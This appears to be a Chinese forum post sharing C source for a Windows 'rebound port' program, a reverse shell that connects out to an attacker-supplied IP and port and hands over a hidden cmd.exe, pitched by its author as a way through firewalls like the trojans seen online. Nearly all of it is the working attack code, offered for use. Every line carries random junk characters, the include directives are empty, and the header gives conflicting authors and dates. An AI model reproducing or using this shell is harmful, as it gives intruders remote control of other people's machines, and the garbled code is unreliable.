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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 eT".psRiC  
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/* ============================== 9i5?J]o^  
Rebound port in Windows NT GM%OO)dO}  
By wind,2006/7 y8~OkdlN#  
===============================*/ SCcvU4`o  
#include G*9>TavE  
#include }#ZRi}f2VJ  
]#]Z]9w  
#pragma comment(lib,"wsock32.lib") &|k=mxox\  
.kBkYK8*t  
void OutputShell(); <t"T'\3  
SOCKET sClient; V6][*.i!9  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V8M()7uJ  
 8${n}}  
void main(int argc,char **argv) ;-Yvi,sS+  
{ TWpw/osW  
WSADATA stWsaData; = J;I5:J  
int nRet; x 7by|G(  
SOCKADDR_IN stSaiClient,stSaiServer; z{L'7  
4{uQ}ea  
if(argc != 3) =-si| 1Z  
{ d-~V.  
printf("Useage:\n\rRebound DestIP DestPort\n"); srv4kodj  
return; G JRl{Y  
} S1|u@d'  
`yv?PlKL  
WSAStartup(MAKEWORD(2,2),&stWsaData); 2PlhnUQ7  
u8zL[] >  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;l*%IMB  
+\T8`iCFB  
stSaiClient.sin_family = AF_INET; 3<^Up1CaZ  
stSaiClient.sin_port = htons(0); xQFY/Z  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {^dq7!  
U4!KO;Jc  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) x fb .Z(  
{ G+<XYkz*  
printf("Bind Socket Failed!\n"); 0*XsAz1,9  
return; "'z}oS  
} Fe0M2%e;|  
*-9i<@|(U^  
stSaiServer.sin_family = AF_INET; q2EDrZ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); F=Bdgg9s  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @Y/&qpo$#W  
2#.s{Bv  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %P0  
{ 0&,D&y%  
printf("Connect Error!"); hQ@k|3=Re  
return; 1cK'B<5">]  
} XH?//.q  
OutputShell(); unFRfec{  
} ircF3P>a?  
a}%f +`z  
void OutputShell() sq2:yt  
{ /2Wg=&H  
char szBuff[1024]; `7=$I~`  
SECURITY_ATTRIBUTES stSecurityAttributes; Am F[#)90P  
OSVERSIONINFO stOsversionInfo; vu+g65"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Ah2 {kK  
STARTUPINFO stStartupInfo; &gp&i?%X9b  
char *szShell; i{6&/TBnr  
PROCESS_INFORMATION stProcessInformation; "UTW(~D'  
unsigned long lBytesRead; Xq;|l?,O  
\|0z:R;X  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?/o 8f7Z  
w,p'$WC*  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F LWVI4*  
stSecurityAttributes.lpSecurityDescriptor = 0; gQPw+0w  
stSecurityAttributes.bInheritHandle = TRUE; QJ XP -  
9 -pt}U  
%aNm j)L  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <Z%=lwtX  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,\6Vb*G|E>  
712nD ?>  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); G`FYEmD  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I}_}VSG(  
stStartupInfo.wShowWindow = SW_HIDE; BY~Tc5  
stStartupInfo.hStdInput = hReadPipe; vIRT$W' O}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r:bJU1P1$s  
qofAA!3z  
GetVersionEx(&stOsversionInfo); 9f! M1  
~$u9  
switch(stOsversionInfo.dwPlatformId) }:2##<"\t  
{ ^m#tWb)f  
case 1: T [SK>z  
szShell = "command.com"; )h}IZSm  
break; *S}@DoXS  
default: $Lp [i <O]  
szShell = "cmd.exe"; WutPy_L<  
break; t5+p]7  
} Y1h)aQ5{  
a?-&O$UHf\  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6k t,q0  
EX8+3>)  
send(sClient,szMsg,77,0); ii?T:T@  
while(1) @5^&&4>N  
{ ^)-[g  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); T`E0_ZU;  
if(lBytesRead) [#Qf#T%5h  
{ ;U=b 6xE  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); G[>NP#P  
send(sClient,szBuff,lBytesRead,0); u+j\PWOtm  
} "9_$7.q<y  
else iAz0 A  
{ H7Q$k4\l  
lBytesRead=recv(sClient,szBuff,1024,0); qx ki  
if(lBytesRead<=0) break; VW\S>=O99  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); b$b;^nly  
} bA)nWWSg=  
} [OCjYC`  
e{E\YEc  
return; 2fTuIS<yr  
}
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